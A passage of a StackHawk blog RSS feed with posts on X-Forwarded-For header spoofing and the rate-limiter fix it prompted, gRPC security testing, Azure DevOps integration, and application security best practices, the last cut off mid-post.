href=&quot;mailto:marketing@cyberdefensemagazine.com&quot;&gt;&lt;u&gt;marketing@cyberdefensemagazine.com&lt;/u&gt;&lt;/a&gt;   &lt;/p&gt;&lt;p&gt;www.cyberdefensemagazine.com &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Do You Trust Your X-Forwarded-For Header]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/do-you-trust-your-x-forwarded-for-header</guid><category><![CDATA[API Security]]></category><category><![CDATA[Tech Learnings]]></category><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[Brandon Ward]]></dc:creator><content:encoded>&lt;h2&gt;&lt;code&gt;X-Forwarded-For&lt;/code&gt; is Easy to Spoof&lt;/h2&gt;&lt;p&gt;Here at StackHawk, we received several reports of security researchers being able to bypass our API rate limiting protection. At a high level, our rate limiter is keyed from the client IP address. What we discovered is that our API was accepting spoofed IP addresses via the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header.&lt;/p&gt;&lt;p&gt;This header is user controllable, so any values a user sends for this header will end up at the front. Users can send anything they like, from spoofed IP addresses to completely invalid values. It is up to us to sanitize and ignore the junk!&lt;/p&gt;&lt;p&gt;As we dug deeper, we realized that a misconfiguration in our API framework was causing it to always select the first value received via &lt;code&gt;X-Forwarded-For&lt;/code&gt;, without any validation.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s explore some of the finer details of this header and look at how some popular cloud providers, application frameworks, and web servers handle it. &lt;/p&gt;&lt;h2&gt;&lt;code&gt;X-Forwarded-For&lt;/code&gt; Specification&lt;/h2&gt;&lt;p&gt;The &lt;code&gt;X-Forwarded-For&lt;/code&gt; header is intended to be used by proxies in your networking chain to track the IP address of the client from where the call originated. When a web request is made, the server receiving the request is aware of the IP address that is calling it. When using the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header, the receiving server should append the calling client’s IP address to the list of IP addresses in that header value. The resulting header might look something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;#39;X-Forwarded-For: &amp;lt;client&amp;gt;, &amp;lt;proxy1&amp;gt;, &amp;lt;proxy2&amp;gt;&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This diagram illustrates how the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header is built on its way to an API:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For&quot;&gt;Mozilla provides the full specification for this header&lt;/a&gt; if you&amp;#39;d like to read more.&lt;/p&gt;&lt;p&gt;In a perfectly trusted environment, the first IP address in the list is the source IP address of the original client. The first IP address added by your proxy is the one you want to select. However, the world of software development is not a perfectly trusted environment. You can only trust what you can control.&lt;/p&gt;&lt;p&gt;Proxies servers do not clear this header by default, they only append to it. An attacker can generate requests with values for this header, and if you aren&amp;#39;t careful, your application will use these false values.&lt;/p&gt;&lt;h3&gt;Uses of &lt;code&gt;X-Forwarded-For&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;There are a few ways we can leverage the values of &lt;code&gt;X-Forwarded-For&lt;/code&gt; in our product or monitoring experience. It is important to have accurate values when doing so.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Audit logs&lt;/b&gt; - Many industries have complex audit requirements, including being able to identify who did something in the system. Even though an IP address alone is not definitive, it is an important breadcrumb to include in an audit log to ensure the actions occurring in your system are what you expect.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Rate Limiting&lt;/b&gt; - Although it is better to rate limit API calls from a user id, this only works when the user is logged in. If unauthenticated API calls are allowed, the only way to identify unique users is by their IP address.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Geo-location&lt;/b&gt; - IP addresses correlate to locations, and you can get a rough idea of where your user base is by correlating IP addresses to locations.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If we want to rely on IP addresses for any of these features, we must verify how this IP address is being selected to ensure we have an accurate value. For any of these features, allowing a spoofed or malicious IP address will break the value proposition of the feature.&lt;/p&gt;&lt;h2&gt;&lt;code&gt;X-Forwarded-For&lt;/code&gt; in Cloud Providers&lt;/h2&gt;&lt;p&gt;Cloud providers follow the specifications of the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header, and many will default to append mode. &lt;a href=&quot;https://docs.aws.amazon.com/elasticloadbalancing/latest/application/x-forwarded-headers.html&quot;&gt;Amazon Web Services (AWS)&lt;/a&gt; and &lt;a href=&quot;https://cloud.google.com/load-balancing/docs/https#x-forwarded-for_header&quot;&gt;Google Cloud Platform (GCP)&lt;/a&gt; will add IP addresses to the list by default, with zero validation or verification on existing IP addresses in that list. The important thing to highlight is that any existing &lt;code&gt;X-Forwarded-For&lt;/code&gt; IP addresses are maintained at the front of the list.&lt;/p&gt;&lt;p&gt;There are also proxies you can run yourself, such as NGINX, &lt;a href=&quot;https://nginx.org/en/docs/http/ngx_http_proxy_module.html#var_proxy_add_x_forwarded_for&quot;&gt;which also lets you configure how &lt;code&gt;X-Forwarded-For&lt;/code&gt; is handled&lt;/a&gt;. While NGINX is very configurable, their sensible default function behaves like AWS, which appends the remote address of the client to the list of header values.&lt;/p&gt;&lt;p&gt;It is important to highlight the differences between AWS and GCP in how they handle these headers. This illustrates that every situation is unique, and your situation will depend on your cloud provider(s), proxy server(s), and application framework(s) handling the requests.&lt;/p&gt;&lt;p&gt;AWS strictly appends a single IP address of the calling client to the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header. GCP will append two IP addresses, the IP address of the calling client, followed by the IP address of load balancer the request passed through.&lt;/p&gt;&lt;p&gt;AWS: &lt;code&gt;&amp;#39;X-Forwarded-For: &amp;lt;whatever-was-on-the-request-before&amp;gt;, &amp;lt;aws-detected-client-ip&amp;gt;&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;GCP:&lt;code&gt; &amp;#39;X-Forwarded-For: &amp;lt;whatever-was-on-the-request-before&amp;gt;, &amp;lt;gcp-detected-client-ip&amp;gt;, &amp;lt;gcp-load-balancer-ip&amp;gt;&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Already we can see the divergence between major cloud players, and why parsing this header for an accurate value will be difficult. In both cases, &lt;code&gt;&amp;lt;whatever-was-on-the-request-before&amp;gt;&lt;/code&gt; can be nothing, a value from an additional network proxy, or it could be malicious or spoofed values. The only commonality is that both append IP addresses to the original header value.&lt;/p&gt;&lt;p&gt;When you are a service provider with a publicly accessible API layer, requests originate from layers outside of your control. Whether this is your UI or direct API access, &lt;b&gt;you cannot trust the request by default&lt;/b&gt;. Untrusted clients can put whatever IPs they like in the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header, which pollutes the values with spoofed or malicious data. Values in this header range from the most untrusted on the left to the most trusted on the right. &lt;b&gt;We can only trust what we can control&lt;/b&gt;.&lt;/p&gt;&lt;h2&gt;&lt;code&gt;X-Forwarded-For&lt;/code&gt; Parsing Examples&lt;/h2&gt;&lt;p&gt;Many popular application frameworks provide automatic parsing of this header, but your solution will ultimately depend on your specific environment. A naive approach to parsing this header is to simply grab the first one in the list. In a perfectly trusted world, that is the original client’s IP address. &lt;b&gt;Don&amp;#39;t actually do this in production, it is insecure&lt;/b&gt;.&lt;/p&gt;&lt;h3&gt;Spring Boot&lt;/h3&gt;&lt;p&gt;Spring Boot is a popular Java based application framework with many features. One of these features is automatic handling of the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/spring-projects/spring-framework/blob/695601aa0681047c0922096bb880b8ec48c1e32a/spring-web/src/main/java/org/springframework/web/util/UriComponentsBuilder.java#L380&quot;&gt;Spring Boot naively grabs the first value in the X-Forwarded-For header list&lt;/a&gt;, without any validation and no way to customize which value is selected.&lt;/p&gt;&lt;p&gt;Given what we know about the &lt;code&gt;X-Forwarded-Header&lt;/code&gt;, Spring Boot will always select the spoofed IP address if it exists in the request. The default configuration is susceptible to consuming spoofed client IP addresses.&lt;/p&gt;&lt;h3&gt;Tomcat&lt;/h3&gt;&lt;p&gt;Tomcat is a popular Java based web server capable of handling the low-level concerns of running a Java application as a web service.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/apache/tomcat/blob/c3511b1baf7defc57923fce7e12b5e6b392c68c5/java/org/apache/catalina/filters/RemoteIpFilter.java#L788-L800&quot;&gt;Tomcat has a better approach to parse &lt;code&gt;X-Forwarded-For&lt;/code&gt;&lt;/a&gt;, where it walks the list of IP addresses in reverse order, looking for the first trusted IP address, while providing a mechanism to skip internal proxy IP addresses. &lt;/p&gt;&lt;p&gt;An example of an internal proxy IP address we want to skip would be the &lt;code&gt;&amp;lt;gcp-load-balancer-ip&amp;gt;&lt;/code&gt; from above.&lt;/p&gt;&lt;p&gt;Tomcat will select a more accurate IP address, and can be configured to select the first trusted IP address, whether it is at the end of the list or somewhere in the middle.&lt;/p&gt;&lt;p&gt;In the case where we had multiple proxies in front of our application, Tomcat’s ability to generically filter out internal proxy IPs will lend itself to selecting the correct client IP address compared to Spring Boot which is too naive.&lt;/p&gt;&lt;h3&gt;Configure Your Framework&lt;/h3&gt;&lt;p&gt;We now know that Spring Boot will select the least trusted client IP address, but Tomcat will only select the correct client IP address if you describe internal proxies to it. Otherwise, it&amp;#39;ll just extract the IP address at the end of the list. Depending on the final shape of your networking stack and the behavior of your proxy server, this could be an internal IP address.&lt;/p&gt;&lt;p&gt;If it&amp;#39;s been a minute since you&amp;#39;ve verified your &lt;code&gt;X-Forwarded-For&lt;/code&gt; configuration, or maybe you just accepted your framework&amp;#39;s default implementation for this, now is the perfect time to verify how you use this header.&lt;/p&gt;&lt;h2&gt;Lessons Learned&lt;/h2&gt;&lt;p&gt;When underlying frameworks or platforms provide features, it’s common to use their implementation details without a second thought.&lt;/p&gt;&lt;p&gt;The nature of these frameworks is that they may have been written awhile ago. They cannot possibly account for all the ways they will be used.&lt;/p&gt;&lt;p&gt;This is a great example of how the default implementation of our framework left us open to this rate limiter bypass vulnerability.&lt;/p&gt;&lt;h3&gt;How We Fixed It&lt;/h3&gt;&lt;p&gt;As mentioned above, the first value in this header is only accurate in a completely trusted environment, and so our framework&amp;#39;s default implementation is insecure since it does not account for untrusted values in that header.&lt;/p&gt;&lt;p&gt;This prompted us to restrict our rate limiting logic to prefer user ids instead of IP addresses, so that IP addresses are only used for unauthenticated API calls. We have very few unauthenticated API calls. More importantly, we discovered that our application framework blindly selected the first IP address from &lt;code&gt;X-Forwarded-For&lt;/code&gt; as the source of truth.&lt;/p&gt;&lt;p&gt;We revamped this logic to be more intelligent about how these IP addresses were chosen, and similar to the Tomcat approach, &lt;b&gt;we now grab the first valid IP address from the end&lt;/b&gt;.  We intentionally extract values that we know come from trusted sources in our control.&lt;/p&gt;&lt;p&gt;This is another classic example of input validation. When it’s at the low-level networking layer like this it has the potential to go largely unnoticed.&lt;/p&gt;&lt;h3&gt;Are You Safe?&lt;/h3&gt;&lt;p&gt;Have you explicitly validated how your own applications handle &lt;code&gt;X-Forwarded-For&lt;/code&gt;?  &lt;/p&gt;&lt;p&gt;More importantly, you must validate it by approaching the problem as an attacker would. Inspect the features that you have which rely on this client IP. Rate limiters, audit logs, or geographical usage stats, and try sending in spoofed &lt;code&gt;X-Forwarded-For&lt;/code&gt; addresses. &lt;/p&gt;&lt;p&gt;Do your applications use this spoofed value, or do they select the correct one added by your proxy with an accurate value?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Understanding gRPC Security: How StackHawk Keeps Your APIs Protected]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/understanding-grpc-security-how-stackhawk-keeps-your-apis-protected</guid><category><![CDATA[API Security]]></category><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Brian Erickson]]></dc:creator><content:encoded>&lt;p&gt;As modern applications become more complex and distributed, &lt;a href=&quot;https://grpc.io/&quot;&gt;&lt;u&gt;gRPC&lt;/u&gt;&lt;/a&gt; is rapidly gaining traction as a powerful and efficient framework for building microservices and connecting various components across distributed computing platforms. But with all the exciting benefits gRPC brings to the table, it&amp;#39;s essential to keep security top of mind. That&amp;#39;s where StackHawk comes in, offering a robust solution to secure your gRPC services and APIs.&lt;/p&gt;&lt;p&gt;In this blog post, we&amp;#39;ll dive into what makes gRPC unique, explore its common use cases, and compare it to other popular API technologies like OpenAPI and GraphQL. We&amp;#39;ll also discuss the importance of testing gRPC services for security vulnerabilities and how StackHawk&amp;#39;s dynamic application security testing (DAST) capabilities can help you ensure your gRPC APIs are both powerful and secure.&lt;/p&gt;&lt;p&gt;Join us as we navigate the exciting world of gRPC and discover how StackHawk can help you stay ahead of potential threats while building the next generation of API communication. And don&amp;#39;t miss out on our special offer for production-level gRPC users who provide valuable feedback during our beta period!&lt;/p&gt;&lt;h2&gt;What is gRPC?&lt;/h2&gt;&lt;p&gt;gRPC is an open-source, high-performance framework that&amp;#39;s gaining popularity for building microservices and distributed systems. It excels at service-to-service communication, as opposed to traditional APIs that often focus on service-to-client browser communication. Recognized for its speed and efficiency, gRPC enables seamless connections between mobile apps, backend services, and various components across distributed computing platforms.&lt;/p&gt;&lt;h3&gt;How does gRPC differ from OpenAPI or GraphQL?&lt;/h3&gt;&lt;p&gt;gRPC, OpenAPI, and GraphQL are all distinct technologies for building and consuming APIs, each with its strengths and ideal use cases.&lt;/p&gt;&lt;p&gt;gRPC utilizes the Protocol Buffers data serialization format and supports both synchronous and asynchronous communication. Ideal for building internal, microservices-based architectures, gRPC places a strong emphasis on performance and scalability, enabling efficient service-to-service communication.&lt;/p&gt;&lt;p&gt;OpenAPI (formerly known as Swagger) is an open-source framework for building and documenting RESTful APIs. It uses a JSON or YAML file to define the API&amp;#39;s endpoints, parameters, and responses, making it particularly suitable for creating and documenting public-facing APIs. OpenAPI boasts a large ecosystem of tools for generating code, documentation, and testing, fostering ease of use and collaboration.&lt;/p&gt;&lt;p&gt;GraphQL is a query language and runtime designed for constructing flexible, high-performance APIs. Unlike RESTful APIs, which have fixed endpoints and response structures, GraphQL empowers clients to request precisely the data they need and nothing more, all from a single endpoint. This approach leads to more efficient data retrieval and an improved developer experience, making GraphQL a popular choice for building public-facing APIs.&lt;/p&gt;&lt;h3&gt;Benefits of gRPC&lt;/h3&gt;&lt;p&gt;gRPC boasts several advantages, such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;High performance due to serialized protocol buffers&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cross-platform support for various programming languages&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Language-independence, with generated code for client-server communication&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Streamlined development for complex distributed systems&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Interoperability with HTTP/2-based systems&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Secure communication using Transport Layer Security (TLS)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Scalability with built-in load balancing&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Common gRPC use cases&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Microservices architectures: &lt;/b&gt;gRPC streamlines inter-service communication in modern, distributed applications. With efficient data serialization using Protocol Buffers, support for multiple programming languages, and built-in load balancing, gRPC is ideal for building scalable and maintainable microservices-based applications.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Real-time applications:&lt;/b&gt; gRPC&amp;#39;s support for bi-directional streaming enables the rapid exchange of data between client and server, making it perfect for real-time applications. This capability is invaluable for chat apps, live notifications, real-time data streaming, online gaming, and other use cases where low latency and continuous data exchange are crucial.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Mobile apps&lt;/b&gt;: Due to limited bandwidth and resources on mobile devices, gRPC&amp;#39;s lightweight and efficient communication is a significant advantage. Its compact binary serialization format, Protocol Buffers, reduces the payload size, resulting in faster data transfer and reduced network usage. This makes gRPC an excellent choice for mobile applications where performance and responsiveness are essential.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Despite the many benefits and diverse use cases gRPC supports, it&amp;#39;s essential not to overlook the importance of security testing for gRPC (and all your APIs!).&lt;/p&gt;&lt;h2&gt;Why test gRPC Services?&lt;/h2&gt;&lt;p&gt;While gRPC communication typically happens inside the firewall, it&amp;#39;s crucial to maintain strict security practices to protect your APIs. Securing every part of your system ensures a more comprehensive approach to overall security.&lt;/p&gt;&lt;p&gt;gRPC services, like REST, SOAP and GraphQL APIs, are susceptible to attacks from the OWASP Top 10, so don&amp;#39;t assume they&amp;#39;re immune. In particular, gRPC applications can be exploited through:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Broken Access Control&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cryptographic Failures&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Injection&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Insecure Design&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Security Misconfiguration&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Sensitive Data Exposure&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Insecure Deserialization&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Secure your gRPC services with StackHawk&lt;/h3&gt;&lt;p&gt;Traditional DAST tools may not support gRPC, but StackHawk has you covered. It&amp;#39;s designed to work with gRPC services over HTTP/2 using protocol buffers to generate requests and parse responses. This allows StackHawk to effectively target and check gRPC application endpoints, identifying potential security issues.&lt;/p&gt;&lt;p&gt;With StackHawk, you can leverage Custom Test Data and Custom Test Scripting to conduct comprehensive security testing on your gRPC APIs. Custom Test Data allows you to specify input values for your gRPC API requests, which ensures that your security testing covers the wide range of potential data interactions your application might encounter. This helps identify vulnerabilities that could arise due to unexpected or malicious input.&lt;/p&gt;&lt;p&gt;Custom Test Scripting enables you to create tailor-made test scenarios for your gRPC APIs. You can write scripts that define specific sequences of requests and responses, mimicking real-world user interactions and potential attack patterns. By customizing your testing approach, you can better identify security vulnerabilities and edge cases unique to your application&amp;#39;s architecture and business logic.&lt;/p&gt;&lt;p&gt;Combining Custom Test Data and Custom Test Scripting with StackHawk&amp;#39;s dynamic application security testing capabilities, you can thoroughly assess the security of your gRPC APIs, ensuring that they are robust and resilient against potential threats.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Have a gRPC Application in Production? Earn swag for your feedback!&lt;/h3&gt;&lt;p&gt;If you&amp;#39;re already using gRPC in production, we&amp;#39;d love to hear from you. Reach out to give us your feedback. During the beta period, we&amp;#39;re offering a StackHawk Swag Pack (or $100 Gift Card) to those who test production-level gRPC applications as a thank you for your valuable input!&lt;/p&gt;&lt;p&gt;To get started, scan your gRPC application using our &lt;a href=&quot;https://help.stackhawk.com/en/articles/7203673-grpc-beta-getting-started&quot;&gt;&lt;u&gt;getting started guide&lt;/u&gt;&lt;/a&gt; and reach out to &lt;a href=&quot;mailto:product@stackhawk.com&quot;&gt;&lt;u&gt;product@stackhawk.com&lt;/u&gt;&lt;/a&gt; with your feedback!&lt;/p&gt;&lt;p&gt;&lt;b&gt;Brian Erickson is Sr. Product Manager at StackHawk&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Read more&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Start a free trial&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.loom.com/share/a6d73cc5313e4d58853748c559ce8759&quot;&gt;&lt;u&gt;Watch a demo&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/gRPC-configuration.html&quot;&gt;&lt;u&gt;Link to docs&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Automate Security in CI/CD with StackHawk and Azure DevOps]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-and-azure-devops</guid><category><![CDATA[Integrations]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Alberto Fidalgo]]></dc:creator><content:encoded>&lt;p&gt;In the world of software development, tools that can help proactively identify security threats and improve automation are at the top of IT leaders’ wish lists in 2023. &lt;a href=&quot;https://azure.microsoft.com/en-us/products/devops/pipelines&quot;&gt;Azure Pipelines&lt;/a&gt; and &lt;a href=&quot;https://azure.microsoft.com/en-us/products/devops/boards&quot;&gt;Azure Boards&lt;/a&gt; are DevOps tools that can help you manage projects and automate the process of testing, building, and deploying your software to the cloud. Integrating StackHawk with these two tools makes it easier for development teams to ensure their software is secure before it moves to production.&lt;/p&gt;&lt;h2&gt;Azure Pipelines&lt;/h2&gt;&lt;p&gt;Azure Pipelines is a CI/CD tool that allows teams to build, test, and deploy their applications. With the StackHawk integration, you can add application security testing to your pipeline, allowing you to find and fix security issues before they reach your end users. Our integration with Azure Pipelines is easy to set up in just a few steps.&lt;/p&gt;&lt;p&gt;First, you&amp;#39;ll need to install the StackHawk Azure Extension to your Azure DevOps Organization. You will also need a &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;StackHawk account&lt;/a&gt;, StackHawk API Key, and a Stackhawk application ID to run HawkScan tasks. The StackHawk Azure extension consists of two tasks: HawkScanInstall and HawkScanRun.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;HawkScanInstall installs the user&amp;#39;s preferred version of HawkScan or defaults to the latest version available.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;HawkScanRun runs the installed version of HawkScan.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Pretty straightforward, right?&lt;/p&gt;&lt;p&gt;Our primary goal is to provide teams with new Azure Pipelines tasks they can use in their CI/CD builds to scan for vulnerabilities in running applications. The StackHawk Azure extension works with almost any Azure Agent right out of the box, whether Windows-based or Linux based, without needing to tweak any settings.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/azure/azure-pipelines.html&quot;&gt;Read the docs to learn more about the StackHawk and Azure Pipelines integration&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Azure Boards&lt;/h2&gt;&lt;p&gt;Azure Boards, on the other hand, is a project management tool that allows teams to track work items, bugs, and other project-related tasks. With the StackHawk integration, you can create a new issue in Azure Boards whenever a security issue is discovered, making it easier for your team to track and prioritize security issues alongside other development tasks.&lt;/p&gt;&lt;p&gt;To set up the StackHawk integration with Azure Boards, navigate to the &lt;a href=&quot;https://app.stackhawk.com/integrations/merge-ado&quot;&gt;Azure DevOps Boards Integration page&lt;/a&gt; in StackHawk and provide your username and personal access token. This will allow StackHawk to send notifications to your Azure Boards project whenever a new security issue is found. Once the installation is verified, you can send a finding to Azure Boards by creating a work item and associating it with a StackHawk scanner finding.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/merge-azure-devops-boards.html&quot;&gt;Read the docs to learn more about the StackHawk and Azure Boards integration&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[10 Application Security Best Practices to Adopt Today]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/10-application-security-best-practices-to-adopt-today</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Applications are the backbone and most valuable asset of almost every business that exists today. Being as valuable and crucial to business operations as they are, web applications tend to also attract attackers. Because of this, web application security has become a prime focus for developers and their enterprises. It’s never too early or too late to adopt best practices for application security but neglecting to implement them will almost always lead to disaster. As is said about many things, “it’s not &lt;i&gt;if&lt;/i&gt;, it’s &lt;i&gt;when&lt;/i&gt;”. Every application will likely be put to the test by attackers at some point so it pays to be prepared.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll look into 10 popular application security best practices. Some of these apply directly to the code within your web application itself, the infrastructure it is deployed on, and also the potential human factors which lead to security vulnerabilities. Whether you&amp;#39;re just starting with security and want to know what it entails, or you’re a veteran developer looking for a refresher, you’ve come to the right place. Let’s dig deep and first take a look at several important principles of application security. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Are the Principles of Application Security?&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;Principle of Least Privileges&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The principle of least privileges focuses on controlling an entity&amp;#39;s access to resources. This &lt;a href=&quot;https://www.f5.com/labs/learning-center/what-is-the-principle-of-least-privilege-and-why-is-it-important&quot;&gt;&lt;u&gt;principle&lt;/u&gt;&lt;/a&gt; states that any entity should be given only the least amount of privileges required per business needs. By limiting access, you’re reducing the risk of intentional or accidental harm. With this principle, it is an important part of a security audit to check that entities have the correct access to certain data and system privileges. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/get-your-entire-flock-secured-stackhawk-launches-team-sized-support/&quot;&gt;&lt;i&gt;Learn how StackHawk supports this principle with Teams and Roles.&lt;/i&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security by Obscurity&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Obscurity means the state of being unknown. You can think of security by obscurity as the next level of security after authentication and encryption. With authentication and encryption, you’re making sure that only authorized users are allowed to access the system and that data is encrypted and kept out of the hands of an attacker. However, the attackers will still know that these mechanisms are in place and will likely try to break or bypass them to gain access to the system.  &lt;/p&gt;&lt;p&gt;Security by obscurity is the practice of hiding data, mechanisms, or systems to keep them away from attackers’ eyes. The idea is that if the attackers don’t know that there’s something present, then won’t try to actively attack it.  It’s important to layer this approach with the other principles and not solely rely on it. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Failing Securely&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This principle is about preparing for the worst. No matter how much security you implement, your systems will never be 100% secure. With the security landscape constantly changing, and with the fundamental reality that sometimes technology fails, there&amp;#39;s always a chance that things will fail. This principle is about damage control and minimizing the impact of potential security failures and breaches—aka managing risk at an acceptable level. Failing securely is about planning for failures so that you contain the impact of the failure and that the failure doesn&amp;#39;t open doors for attackers to breach your application or cause more damage.  &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Minimizing the Attack Surface&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Modern applications are complex and made up of several components and features. This increase in complexity also increases the attack surface. Modern software usually uses third-party extensions and dependencies, distributed services, and many other components which may be outside of your direct control. This provides more ways for attackers to gain access to your web application and data. It also makes it difficult for you to strengthen security against these factors. Minimizing the attack surface will leave fewer opportunities for attackers to take advantage of a vulnerability.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Application Security Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Now that we&amp;#39;ve reviewed these crucial principles of application security, let&amp;#39;s look into application security best practices. Each best practice below makes up a piece of a holistic approach to application security. It’s important to remember that the list below is not exhaustive, many other best practices could be included in your security strategy, and any single best practice is not sufficient to protect against all threats. Combining the techniques below is the best way to protect your applications.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use Encryption&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Application security is incomplete without encryption. Without encryption, data at rest and in transit can easily be accessed by potential attackers. Encrypting data is an initial and perhaps the most crucial practice you should implement on this list. Every application deals with some kind of &lt;a href=&quot;https://www.stackhawk.com/blog/rails-excessive-data-exposure-examples-and-prevention/&quot;&gt;&lt;u&gt;sensitive data&lt;/u&gt;&lt;/a&gt;, and encryption helps you keep this data out of the hands of unauthorized personnel. As important as using encryption is, using strong encryption mechanisms is equally important. If you don&amp;#39;t use encryption, attackers can easily take advantage of access to your data storage systems. Attackers can also use attacks, such as the &lt;a href=&quot;https://www.imperva.com/learn/application-security/man-in-the-middle-attack-mitm/&quot;&gt;&lt;u&gt;Man-in-the-Middle&lt;/u&gt;&lt;/a&gt; technique, to steal sensitive information. This is why, as mentioned earlier, your encryption strategy should focus on both data in transit and data at rest. &lt;/p&gt;&lt;p&gt;As a first step, evaluate your application and understand what components or areas of the application need encryption. Once you have established this, you&amp;#39;ll need to plan any changes to the application to cater to the needed encryption. Many languages and frameworks can easily integrate encryption best practices directly into them with minimal work. Then, eventually, you can make the shift from an insufficient or non-existent encryption implementation to a sufficient encryption strategy. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Bring in Security Early&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As companies have started to focus more on app security, the practice of bringing in security during the early stages of development has become quite popular. &lt;a href=&quot;https://www.stackhawk.com/blog/automated-devsecops-stackhawk-harness/&quot;&gt;&lt;u&gt;DevSecOps&lt;/u&gt;&lt;/a&gt; is a popular practice that has gained a lot of steam in the last few years. This approach to bringing security influence early into the development lifecycle is allowing application security to “&lt;a href=&quot;https://www.securitymagazine.com/articles/98674-shift-left-beyond-the-cybersecurity-buzzword&quot;&gt;shift left&lt;/a&gt;”. When you start focusing on security earlier, you make everyone responsible for it. Not just the security teams, but the developers and testers also take a security-focused approach when building and testing 